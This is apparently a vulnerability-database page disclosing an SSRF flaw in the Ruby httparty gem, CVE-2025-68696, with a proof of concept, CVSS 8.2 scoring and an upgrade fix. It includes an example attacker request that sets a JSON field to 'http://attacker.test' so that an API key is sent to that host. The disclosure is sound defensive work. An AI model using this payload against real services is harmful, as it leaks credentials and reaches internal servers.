Loading...
Skip to main content

CVE-2025-68696 — Vulnerability in httparty — CVE Details

HIGH

httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

Published December 23, 2025Updated September 10, 2026Source: osv

Summary

## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ``` Now, suppose an attacker sends a request like this: ``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { "repository_id": "http://attacker.test", "title": "test" } ``` In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`. A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463> Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin> ## PoC Follow these steps to reproduce the issue: 1. Set up two simple HTTP servers. ```bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (for example, `main.rb`): ```rb require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data ``` 3. Run the script: ```bash $ ruby main.rb this is server2 ``` Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`. ## Impact - Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.

Advisory Timeline

  • First published December 23, 2025 (293 days ago).
  • Last revised September 10, 2026 — 260 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update httparty to 0.24.0 or later
gem install httparty -v 0.24.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: rubygems (1).

PackageEcosystemAffectedFixed In
httparty
rubygems
0.1.0, 0.1.1, 0.1.2, 0.1.3 (+80 more)0.24.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Frequently Asked Questions

What is CVE-2025-68696?
httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.2/10).
How do I check if my project is affected by CVE-2025-68696?
CVE-2025-68696 affects httparty. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-68696 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.2

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-hm5p-x4rq-38w4

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies